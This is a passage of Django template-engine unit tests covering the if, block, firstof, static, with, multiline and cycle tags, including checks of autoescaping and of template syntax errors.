        output = self.engine.render_to_string('if-tag-and03', {'foo': False, 'bar': True})
        self.assertEqual(output, 'no')

    @setup({'if-tag-and04': '{% if foo and bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_and04(self):
        output = self.engine.render_to_string('if-tag-and04', {'foo': False, 'bar': False})
        self.assertEqual(output, 'no')

    @setup({'if-tag-and05': '{% if foo and bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_and05(self):
        output = self.engine.render_to_string('if-tag-and05', {'foo': False})
        self.assertEqual(output, 'no')

    @setup({'if-tag-and06': '{% if foo and bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_and06(self):
        output = self.engine.render_to_string('if-tag-and06', {'bar': False})
        self.assertEqual(output, 'no')

    @setup({'if-tag-and07': '{% if foo and bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_and07(self):
        output = self.engine.render_to_string('if-tag-and07', {'foo': True})
        self.assertEqual(output, 'no')

    @setup({'if-tag-and08': '{% if foo and bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_and08(self):
        output = self.engine.render_to_string('if-tag-and08', {'bar': True})
        self.assertEqual(output, 'no')

    # OR
    @setup({'if-tag-or01': '{% if foo or bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_or01(self):
        output = self.engine.render_to_string('if-tag-or01', {'foo': True, 'bar': True})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-or02': '{% if foo or bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_or02(self):
        output = self.engine.render_to_string('if-tag-or02', {'foo': True, 'bar': False})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-or03': '{% if foo or bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_or03(self):
        output = self.engine.render_to_string('if-tag-or03', {'foo': False, 'bar': True})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-or04': '{% if foo or bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_or04(self):
        output = self.engine.render_to_string('if-tag-or04', {'foo': False, 'bar': False})
        self.assertEqual(output, 'no')

    @setup({'if-tag-or05': '{% if foo or bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_or05(self):
        output = self.engine.render_to_string('if-tag-or05', {'foo': False})
        self.assertEqual(output, 'no')

    @setup({'if-tag-or06': '{% if foo or bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_or06(self):
        output = self.engine.render_to_string('if-tag-or06', {'bar': False})
        self.assertEqual(output, 'no')

    @setup({'if-tag-or07': '{% if foo or bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_or07(self):
        output = self.engine.render_to_string('if-tag-or07', {'foo': True})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-or08': '{% if foo or bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_or08(self):
        output = self.engine.render_to_string('if-tag-or08', {'bar': True})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-or09': '{% if foo or bar or baz %}yes{% else %}no{% endif %}'})
    def test_if_tag_or09(self):
        """
        multiple ORs
        """
        output = self.engine.render_to_string('if-tag-or09', {'baz': True})
        self.assertEqual(output, 'yes')

    # NOT
    @setup({'if-tag-not01': '{% if not foo %}no{% else %}yes{% endif %}'})
    def test_if_tag_not01(self):
        output = self.engine.render_to_string('if-tag-not01', {'foo': True})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-not02': '{% if not not foo %}no{% else %}yes{% endif %}'})
    def test_if_tag_not02(self):
        output = self.engine.render_to_string('if-tag-not02', {'foo': True})
        self.assertEqual(output, 'no')

    @setup({'if-tag-not06': '{% if foo and not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not06(self):
        output = self.engine.render_to_string('if-tag-not06')
        self.assertEqual(output, 'no')

    @setup({'if-tag-not07': '{% if foo and not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not07(self):
        output = self.engine.render_to_string('if-tag-not07', {'foo': True, 'bar': True})
        self.assertEqual(output, 'no')

    @setup({'if-tag-not08': '{% if foo and not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not08(self):
        output = self.engine.render_to_string('if-tag-not08', {'foo': True, 'bar': False})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-not09': '{% if foo and not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not09(self):
        output = self.engine.render_to_string('if-tag-not09', {'foo': False, 'bar': True})
        self.assertEqual(output, 'no')

    @setup({'if-tag-not10': '{% if foo and not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not10(self):
        output = self.engine.render_to_string('if-tag-not10', {'foo': False, 'bar': False})
        self.assertEqual(output, 'no')

    @setup({'if-tag-not11': '{% if not foo and bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not11(self):
        output = self.engine.render_to_string('if-tag-not11')
        self.assertEqual(output, 'no')

    @setup({'if-tag-not12': '{% if not foo and bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not12(self):
        output = self.engine.render_to_string('if-tag-not12', {'foo': True, 'bar': True})
        self.assertEqual(output, 'no')

    @setup({'if-tag-not13': '{% if not foo and bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not13(self):
        output = self.engine.render_to_string('if-tag-not13', {'foo': True, 'bar': False})
        self.assertEqual(output, 'no')

    @setup({'if-tag-not14': '{% if not foo and bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not14(self):
        output = self.engine.render_to_string('if-tag-not14', {'foo': False, 'bar': True})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-not15': '{% if not foo and bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not15(self):
        output = self.engine.render_to_string('if-tag-not15', {'foo': False, 'bar': False})
        self.assertEqual(output, 'no')

    @setup({'if-tag-not16': '{% if foo or not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not16(self):
        output = self.engine.render_to_string('if-tag-not16')
        self.assertEqual(output, 'yes')

    @setup({'if-tag-not17': '{% if foo or not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not17(self):
        output = self.engine.render_to_string('if-tag-not17', {'foo': True, 'bar': True})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-not18': '{% if foo or not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not18(self):
        output = self.engine.render_to_string('if-tag-not18', {'foo': True, 'bar': False})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-not19': '{% if foo or not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not19(self):
        output = self.engine.render_to_string('if-tag-not19', {'foo': False, 'bar': True})
        self.assertEqual(output, 'no')

    @setup({'if-tag-not20': '{% if foo or not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not20(self):
        output = self.engine.render_to_string('if-tag-not20', {'foo': False, 'bar': False})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-not21': '{% if not foo or bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not21(self):
        output = self.engine.render_to_string('if-tag-not21')
        self.assertEqual(output, 'yes')

    @setup({'if-tag-not22': '{% if not foo or bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not22(self):
        output = self.engine.render_to_string('if-tag-not22', {'foo': True, 'bar': True})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-not23': '{% if not foo or bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not23(self):
        output = self.engine.render_to_string('if-tag-not23', {'foo': True, 'bar': False})
        self.assertEqual(output, 'no')

    @setup({'if-tag-not24': '{% if not foo or bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not24(self):
        output = self.engine.render_to_string('if-tag-not24', {'foo': False, 'bar': True})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-not25': '{% if not foo or bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not25(self):
        output = self.engine.render_to_string('if-tag-not25', {'foo': False, 'bar': False})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-not26': '{% if not foo and not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not26(self):
        output = self.engine.render_to_string('if-tag-not26')
        self.assertEqual(output, 'yes')

    @setup({'if-tag-not27': '{% if not foo and not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not27(self):
        output = self.engine.render_to_string('if-tag-not27', {'foo': True, 'bar': True})
        self.assertEqual(output, 'no')

    @setup({'if-tag-not28': '{% if not foo and not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not28(self):
        output = self.engine.render_to_string('if-tag-not28', {'foo': True, 'bar': False})
        self.assertEqual(output, 'no')

    @setup({'if-tag-not29': '{% if not foo and not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not29(self):
        output = self.engine.render_to_string('if-tag-not29', {'foo': False, 'bar': True})
        self.assertEqual(output, 'no')

    @setup({'if-tag-not30': '{% if not foo and not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not30(self):
        output = self.engine.render_to_string('if-tag-not30', {'foo': False, 'bar': False})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-not31': '{% if not foo or not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not31(self):
        output = self.engine.render_to_string('if-tag-not31')
        self.assertEqual(output, 'yes')

    @setup({'if-tag-not32': '{% if not foo or not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not32(self):
        output = self.engine.render_to_string('if-tag-not32', {'foo': True, 'bar': True})
        self.assertEqual(output, 'no')

    @setup({'if-tag-not33': '{% if not foo or not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not33(self):
        output = self.engine.render_to_string('if-tag-not33', {'foo': True, 'bar': False})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-not34': '{% if not foo or not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not34(self):
        output = self.engine.render_to_string('if-tag-not34', {'foo': False, 'bar': True})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-not35': '{% if not foo or not bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_not35(self):
        output = self.engine.render_to_string('if-tag-not35', {'foo': False, 'bar': False})
        self.assertEqual(output, 'yes')

    # Various syntax errors
    @setup({'if-tag-error01': '{% if %}yes{% endif %}'})
    def test_if_tag_error01(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('if-tag-error01')

    @setup({'if-tag-error02': '{% if foo and %}yes{% else %}no{% endif %}'})
    def test_if_tag_error02(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('if-tag-error02', {'foo': True})

    @setup({'if-tag-error03': '{% if foo or %}yes{% else %}no{% endif %}'})
    def test_if_tag_error03(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('if-tag-error03', {'foo': True})

    @setup({'if-tag-error04': '{% if not foo and %}yes{% else %}no{% endif %}'})
    def test_if_tag_error04(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('if-tag-error04', {'foo': True})

    @setup({'if-tag-error05': '{% if not foo or %}yes{% else %}no{% endif %}'})
    def test_if_tag_error05(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('if-tag-error05', {'foo': True})

    @setup({'if-tag-error06': '{% if abc def %}yes{% endif %}'})
    def test_if_tag_error06(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('if-tag-error06')

    @setup({'if-tag-error07': '{% if not %}yes{% endif %}'})
    def test_if_tag_error07(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('if-tag-error07')

    @setup({'if-tag-error08': '{% if and %}yes{% endif %}'})
    def test_if_tag_error08(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('if-tag-error08')

    @setup({'if-tag-error09': '{% if or %}yes{% endif %}'})
    def test_if_tag_error09(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('if-tag-error09')

    @setup({'if-tag-error10': '{% if == %}yes{% endif %}'})
    def test_if_tag_error10(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('if-tag-error10')

    @setup({'if-tag-error11': '{% if 1 == %}yes{% endif %}'})
    def test_if_tag_error11(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('if-tag-error11')

    @setup({'if-tag-error12': '{% if a not b %}yes{% endif %}'})
    def test_if_tag_error12(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('if-tag-error12')

    @setup({'else-if-tag-error01': '{% if foo is bar %} yes {% else if foo is not bar %} no {% endif %}'})
    def test_else_if_tag_error01(self):
        error_message = 'Malformed template tag at line 1: "else if foo is not bar"'
        with self.assertRaisesMessage(TemplateSyntaxError, error_message):
            self.engine.get_template('else-if-tag-error01')

    @setup({'if-tag-shortcircuit01': '{% if x.is_true or x.is_bad %}yes{% else %}no{% endif %}'})
    def test_if_tag_shortcircuit01(self):
        """
        If evaluations are shortcircuited where possible
        """
        output = self.engine.render_to_string('if-tag-shortcircuit01', {'x': TestObj()})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-shortcircuit02': '{% if x.is_false and x.is_bad %}yes{% else %}no{% endif %}'})
    def test_if_tag_shortcircuit02(self):
        """
        The is_bad() function should not be evaluated. If it is, an
        exception is raised.
        """
        output = self.engine.render_to_string('if-tag-shortcircuit02', {'x': TestObj()})
        self.assertEqual(output, 'no')

    @setup({'if-tag-badarg01': '{% if x|default_if_none:y %}yes{% endif %}'})
    def test_if_tag_badarg01(self):
        """
        Non-existent args
        """
        output = self.engine.render_to_string('if-tag-badarg01')
        self.assertEqual(output, '')

    @setup({'if-tag-badarg02': '{% if x|default_if_none:y %}yes{% endif %}'})
    def test_if_tag_badarg02(self):
        output = self.engine.render_to_string('if-tag-badarg02', {'y': 0})
        self.assertEqual(output, '')

    @setup({'if-tag-badarg03': '{% if x|default_if_none:y %}yes{% endif %}'})
    def test_if_tag_badarg03(self):
        output = self.engine.render_to_string('if-tag-badarg03', {'y': 1})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-badarg04': '{% if x|default_if_none:y %}yes{% else %}no{% endif %}'})
    def test_if_tag_badarg04(self):
        output = self.engine.render_to_string('if-tag-badarg04')
        self.assertEqual(output, 'no')

    @setup({'if-tag-single-eq': '{% if foo = bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_single_eq(self):
        # A single equals sign is a syntax error.
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('if-tag-single-eq', {'foo': 1})

    @setup({'template': '{% if foo is True %}yes{% else %}no{% endif %}'})
    def test_if_is_match(self):
        output = self.engine.render_to_string('template', {'foo': True})
        self.assertEqual(output, 'yes')

    @setup({'template': '{% if foo is True %}yes{% else %}no{% endif %}'})
    def test_if_is_no_match(self):
        output = self.engine.render_to_string('template', {'foo': 1})
        self.assertEqual(output, 'no')

    @setup({'template': '{% if foo is bar %}yes{% else %}no{% endif %}'})
    def test_if_is_variable_missing(self):
        output = self.engine.render_to_string('template', {'foo': 1})
        self.assertEqual(output, 'no')

    @setup({'template': '{% if foo is bar %}yes{% else %}no{% endif %}'})
    def test_if_is_both_variables_missing(self):
        output = self.engine.render_to_string('template', {})
        self.assertEqual(output, 'yes')

    @setup({'template': '{% if foo is not None %}yes{% else %}no{% endif %}'})
    def test_if_is_not_match(self):
        # For this to act as a regression test, it's important not to use
        # foo=True because True is (not None)
        output = self.engine.render_to_string('template', {'foo': False})
        self.assertEqual(output, 'yes')

    @setup({'template': '{% if foo is not None %}yes{% else %}no{% endif %}'})
    def test_if_is_not_no_match(self):
        output = self.engine.render_to_string('template', {'foo': None})
        self.assertEqual(output, 'no')

    @setup({'template': '{% if foo is not bar %}yes{% else %}no{% endif %}'})
    def test_if_is_not_variable_missing(self):
        output = self.engine.render_to_string('template', {'foo': False})
        self.assertEqual(output, 'yes')

    @setup({'template': '{% if foo is not bar %}yes{% else %}no{% endif %}'})
    def test_if_is_not_both_variables_missing(self):
        output = self.engine.render_to_string('template', {})
        self.assertEqual(output, 'no')






from django.template import TemplateSyntaxError
from django.test import SimpleTestCase

from ..utils import setup


class NamedEndblockTests(SimpleTestCase):

    @setup({'namedendblocks01': '1{% block first %}_{% block second %}'
                                '2{% endblock second %}_{% endblock first %}3'})
    def test_namedendblocks01(self):
        output = self.engine.render_to_string('namedendblocks01')
        self.assertEqual(output, '1_2_3')

    # Unbalanced blocks
    @setup({'namedendblocks02': '1{% block first %}_{% block second %}'
                                '2{% endblock first %}_{% endblock second %}3'})
    def test_namedendblocks02(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('namedendblocks02')

    @setup({'namedendblocks03': '1{% block first %}_{% block second %}'
                                '2{% endblock %}_{% endblock second %}3'})
    def test_namedendblocks03(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('namedendblocks03')

    @setup({'namedendblocks04': '1{% block first %}_{% block second %}'
                                '2{% endblock second %}_{% endblock third %}3'})
    def test_namedendblocks04(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('namedendblocks04')

    @setup({'namedendblocks05': '1{% block first %}_{% block second %}2{% endblock first %}'})
    def test_namedendblocks05(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('namedendblocks05')

    # Mixed named and unnamed endblocks
    @setup({'namedendblocks06': '1{% block first %}_{% block second %}'
                                '2{% endblock %}_{% endblock first %}3'})
    def test_namedendblocks06(self):
        """
        Mixed named and unnamed endblocks
        """
        output = self.engine.render_to_string('namedendblocks06')
        self.assertEqual(output, '1_2_3')

    @setup({'namedendblocks07': '1{% block first %}_{% block second %}'
                                '2{% endblock second %}_{% endblock %}3'})
    def test_namedendblocks07(self):
        output = self.engine.render_to_string('namedendblocks07')
        self.assertEqual(output, '1_2_3')






from django.template import TemplateSyntaxError
from django.test import SimpleTestCase

from ..utils import setup


class FirstOfTagTests(SimpleTestCase):

    @setup({'firstof01': '{% firstof a b c %}'})
    def test_firstof01(self):
        output = self.engine.render_to_string('firstof01', {'a': 0, 'c': 0, 'b': 0})
        self.assertEqual(output, '')

    @setup({'firstof02': '{% firstof a b c %}'})
    def test_firstof02(self):
        output = self.engine.render_to_string('firstof02', {'a': 1, 'c': 0, 'b': 0})
        self.assertEqual(output, '1')

    @setup({'firstof03': '{% firstof a b c %}'})
    def test_firstof03(self):
        output = self.engine.render_to_string('firstof03', {'a': 0, 'c': 0, 'b': 2})
        self.assertEqual(output, '2')

    @setup({'firstof04': '{% firstof a b c %}'})
    def test_firstof04(self):
        output = self.engine.render_to_string('firstof04', {'a': 0, 'c': 3, 'b': 0})
        self.assertEqual(output, '3')

    @setup({'firstof05': '{% firstof a b c %}'})
    def test_firstof05(self):
        output = self.engine.render_to_string('firstof05', {'a': 1, 'c': 3, 'b': 2})
        self.assertEqual(output, '1')

    @setup({'firstof06': '{% firstof a b c %}'})
    def test_firstof06(self):
        output = self.engine.render_to_string('firstof06', {'c': 3, 'b': 0})
        self.assertEqual(output, '3')

    @setup({'firstof07': '{% firstof a b "c" %}'})
    def test_firstof07(self):
        output = self.engine.render_to_string('firstof07', {'a': 0})
        self.assertEqual(output, 'c')

    @setup({'firstof08': '{% firstof a b "c and d" %}'})
    def test_firstof08(self):
        output = self.engine.render_to_string('firstof08', {'a': 0, 'b': 0})
        self.assertEqual(output, 'c and d')

    @setup({'firstof09': '{% firstof %}'})
    def test_firstof09(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('firstof09')

    @setup({'firstof10': '{% firstof a %}'})
    def test_firstof10(self):
        output = self.engine.render_to_string('firstof10', {'a': '<'})
        self.assertEqual(output, '&lt;')

    @setup({'firstof11': '{% firstof a b %}'})
    def test_firstof11(self):
        output = self.engine.render_to_string('firstof11', {'a': '<', 'b': '>'})
        self.assertEqual(output, '&lt;')

    @setup({'firstof12': '{% firstof a b %}'})
    def test_firstof12(self):
        output = self.engine.render_to_string('firstof12', {'a': '', 'b': '>'})
        self.assertEqual(output, '&gt;')

    @setup({'firstof13': '{% autoescape off %}{% firstof a %}{% endautoescape %}'})
    def test_firstof13(self):
        output = self.engine.render_to_string('firstof13', {'a': '<'})
        self.assertEqual(output, '<')

    @setup({'firstof14': '{% firstof a|safe b %}'})
    def test_firstof14(self):
        output = self.engine.render_to_string('firstof14', {'a': '<'})
        self.assertEqual(output, '<')

    @setup({'firstof15': '{% firstof a b c as myvar %}'})
    def test_firstof15(self):
        ctx = {'a': 0, 'b': 2, 'c': 3}
        output = self.engine.render_to_string('firstof15', ctx)
        self.assertEqual(ctx['myvar'], '2')
        self.assertEqual(output, '')






from django.conf import settings
from django.test import SimpleTestCase, override_settings
from django.utils.six.moves.urllib.parse import urljoin

from ..utils import setup


@override_settings(MEDIA_URL="/media/", STATIC_URL="/static/")
class StaticTagTests(SimpleTestCase):
    libraries = {'static': 'django.templatetags.static'}

    @setup({'static-prefixtag01': '{% load static %}{% get_static_prefix %}'})
    def test_static_prefixtag01(self):
        output = self.engine.render_to_string('static-prefixtag01')
        self.assertEqual(output, settings.STATIC_URL)

    @setup({'static-prefixtag02': '{% load static %}'
                                  '{% get_static_prefix as static_prefix %}{{ static_prefix }}'})
    def test_static_prefixtag02(self):
        output = self.engine.render_to_string('static-prefixtag02')
        self.assertEqual(output, settings.STATIC_URL)

    @setup({'static-prefixtag03': '{% load static %}{% get_media_prefix %}'})
    def test_static_prefixtag03(self):
        output = self.engine.render_to_string('static-prefixtag03')
        self.assertEqual(output, settings.MEDIA_URL)

    @setup({'static-prefixtag04': '{% load static %}'
                                  '{% get_media_prefix as media_prefix %}{{ media_prefix }}'})
    def test_static_prefixtag04(self):
        output = self.engine.render_to_string('static-prefixtag04')
        self.assertEqual(output, settings.MEDIA_URL)

    @setup({'static-statictag01': '{% load static %}{% static "admin/base.css" %}'})
    def test_static_statictag01(self):
        output = self.engine.render_to_string('static-statictag01')
        self.assertEqual(output, urljoin(settings.STATIC_URL, 'admin/base.css'))

    @setup({'static-statictag02': '{% load static %}{% static base_css %}'})
    def test_static_statictag02(self):
        output = self.engine.render_to_string('static-statictag02', {'base_css': 'admin/base.css'})
        self.assertEqual(output, urljoin(settings.STATIC_URL, 'admin/base.css'))

    @setup({'static-statictag03': '{% load static %}{% static "admin/base.css" as foo %}{{ foo }}'})
    def test_static_statictag03(self):
        output = self.engine.render_to_string('static-statictag03')
        self.assertEqual(output, urljoin(settings.STATIC_URL, 'admin/base.css'))

    @setup({'static-statictag04': '{% load static %}{% static base_css as foo %}{{ foo }}'})
    def test_static_statictag04(self):
        output = self.engine.render_to_string('static-statictag04', {'base_css': 'admin/base.css'})
        self.assertEqual(output, urljoin(settings.STATIC_URL, 'admin/base.css'))






from django.template import TemplateSyntaxError
from django.test import SimpleTestCase

from ..utils import setup


class WithTagTests(SimpleTestCase):

    @setup({'with01': '{% with key=dict.key %}{{ key }}{% endwith %}'})
    def test_with01(self):
        output = self.engine.render_to_string('with01', {'dict': {'key': 50}})
        self.assertEqual(output, '50')

    @setup({'legacywith01': '{% with dict.key as key %}{{ key }}{% endwith %}'})
    def test_legacywith01(self):
        output = self.engine.render_to_string('legacywith01', {'dict': {'key': 50}})
        self.assertEqual(output, '50')

    @setup({'with02': '{{ key }}{% with key=dict.key %}'
                      '{{ key }}-{{ dict.key }}-{{ key }}'
                      '{% endwith %}{{ key }}'})
    def test_with02(self):
        output = self.engine.render_to_string('with02', {'dict': {'key': 50}})
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID50-50-50INVALID')
        else:
            self.assertEqual(output, '50-50-50')

    @setup({'legacywith02': '{{ key }}{% with dict.key as key %}'
                            '{{ key }}-{{ dict.key }}-{{ key }}'
                            '{% endwith %}{{ key }}'})
    def test_legacywith02(self):
        output = self.engine.render_to_string('legacywith02', {'dict': {'key': 50}})
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID50-50-50INVALID')
        else:
            self.assertEqual(output, '50-50-50')

    @setup({'with03': '{% with a=alpha b=beta %}{{ a }}{{ b }}{% endwith %}'})
    def test_with03(self):
        output = self.engine.render_to_string('with03', {'alpha': 'A', 'beta': 'B'})
        self.assertEqual(output, 'AB')

    @setup({'with-error01': '{% with dict.key xx key %}{{ key }}{% endwith %}'})
    def test_with_error01(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('with-error01', {'dict': {'key': 50}})

    @setup({'with-error02': '{% with dict.key as %}{{ key }}{% endwith %}'})
    def test_with_error02(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('with-error02', {'dict': {'key': 50}})






from django.test import SimpleTestCase

from ..utils import setup


multiline_string = """
Hello,
boys.
How
are
you
gentlemen.
"""


class MultilineTests(SimpleTestCase):

    @setup({'multiline01': multiline_string})
    def test_multiline01(self):
        output = self.engine.render_to_string('multiline01')
        self.assertEqual(output, multiline_string)






from django.template import TemplateSyntaxError
from django.test import SimpleTestCase

from ..utils import setup


class CycleTagTests(SimpleTestCase):

    @setup({'cycle01': '{% cycle a %}'})
    def test_cycle01(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('cycle01')

    @setup({'cycle05': '{% cycle %}'})
    def test_cycle05(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('cycle05')

    @setup({'cycle06': '{% cycle a %}'})
    def test_cycle06(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('cycle06')

    @setup({'cycle07': '{% cycle a,b,c as foo %}{% cycle bar %}'})
    def test_cycle07(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('cycle07')

    @setup({'cycle10': "{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}"})
    def test_cycle10(self):
        output = self.engine.render_to_string('cycle10')
        self.assertEqual(output, 'ab')

    @setup({'cycle11': "{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}"})
    def test_cycle11(self):
        output = self.engine.render_to_string('cycle11')
        self.assertEqual(output, 'abc')

    @setup({'cycle12': "{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"})
    def test_cycle12(self):
        output = self.engine.render_to_string('cycle12')
        self.assertEqual(output, 'abca')

    @setup({'cycle13': "{% for i in test %}{% cycle 'a' 'b' %}{{ i }},{% endfor %}"})
    def test_cycle13(self):
        output = self.engine.render_to_string('cycle13', {'test': list(range(5))})
        self.assertEqual(output, 'a0,b1,a2,b3,a4,')

    @setup({'cycle14': '{% cycle one two as foo %}{% cycle foo %}'})
    def test_cycle14(self):
        output = self.engine.render_to_string('cycle14', {'one': '1', 'two': '2'})
        self.assertEqual(output, '12')

    @setup({'cycle15': '{% for i in test %}{% cycle aye bee %}{{ i }},{% endfor %}'})
    def test_cycle15(self):
        output = self.engine.render_to_string('cycle15', {'test': list(range(5)), 'aye': 'a', 'bee': 'b'})
        self.assertEqual(output, 'a0,b1,a2,b3,a4,')

    @setup({'cycle16': '{% cycle one|lower two as foo %}{% cycle foo %}'})
    def test_cycle16(self):
        output = self.engine.render_to_string('cycle16', {'one': 'A', 'two': '2'})
        self.assertEqual(output, 'a2')

    @setup({'cycle17': "{% cycle 'a' 'b' 'c' as abc silent %}"
                       "{% cycle abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"})
    def test_cycle17(self):
        output = self.engine.render_to_string('cycle17')
        self.assertEqual(output, '')

    @setup({'cycle18': "{% cycle 'a' 'b' 'c' as foo invalid_flag %}"})
    def test_cycle18(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('cycle18')

    @setup({'cycle19': "{% cycle 'a' 'b' as silent %}{% cycle silent %}"})
    def test_cycle19(self):
        output = self.engine.render_to_string('cycle19')
        self.assertEqual(output, 'ab')

    @setup({'cycle20': '{% cycle one two as foo %} &amp; {% cycle foo %}'})
    def test_cycle20(self):
        output = self.engine.render_to_string('cycle20', {'two': 'C & D', 'one': 'A & B'})
        self.assertEqual(output, 'A &amp; B &amp; C &amp; D')

    @setup({'cycle21': '{% filter force_escape %}'
                       '{% cycle one two as foo %} & {% cycle foo %}{% endfilter %}'})
    def test_cycle21(self):
        output = self.engine.render_to_string('cycle21', {'two': 'C & D', 'one': 'A & B'})
        self.assertEqual(output, 'A &amp;amp; B &amp; C &amp;amp; D')

    @setup({'cycle22': "{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{{ x }}{% endfor %}"})
    def test_cycle22(self):
        output = self.engine.render_to_string('cycle22', {'values': [1, 2, 3, 4]})
        self.assertEqual(output, '1234')

    @setup({'cycle23': "{% for x in values %}"
                       "{% cycle 'a' 'b' 'c' as abc silent %}{{ abc }}{{ x }}{% endfor %}"})
    def test_cycle23(self):
        output = self.engine.render_to_string('cycle23', {'values': [1, 2, 3, 4]})
        self.assertEqual(output, 'a1b2c3a4')

    @setup({
        'cycle24': "{% for x in values %}"
                   "{% cycle 'a' 'b' 'c' as abc silent %}{% include 'included-cycle' %}{% endfor %}",
        'included-cycle': '{{ abc }}',
    })
    def test_cycle24(self):
        output = self.engine.render_to_string('cycle24', {'values': [1, 2, 3, 4]})
        self.assertEqual(output, 'abca')

    @setup({'cycle25': '{% cycle a as abc %}'})
    def test_cycle25(self):
        output = self.engine.render_to_string('cycle25', {'a': '<'})
        self.assertEqual(output, '&lt;')

    @setup({'cycle26': '{% cycle a b as ab %}{% cycle ab %}'})
    def test_cycle26(self):
        output = self.engine.render_to_string('cycle26', {'a': '<', 'b': '>'})
        self.assertEqual(output, '&lt;&gt;')

    @setup({'cycle27': '{% autoescape off %}{% cycle a b as ab %}{% cycle ab %}{% endautoescape %}'})
    def test_cycle27(self):
        output = self.engine.render_to_string('cycle27', {'a': '<', 'b': '>'})
        self.assertEqual(output, '<>')

    @setup({'cycle28': '{% cycle a|safe b as ab %}{% cycle ab %}'})
    def test_cycle28(self):
        output = self.engine.render_to_string('cycle28', {'a': '<', 'b': '>'})
        self.assertEqual(output, '<&gt;')

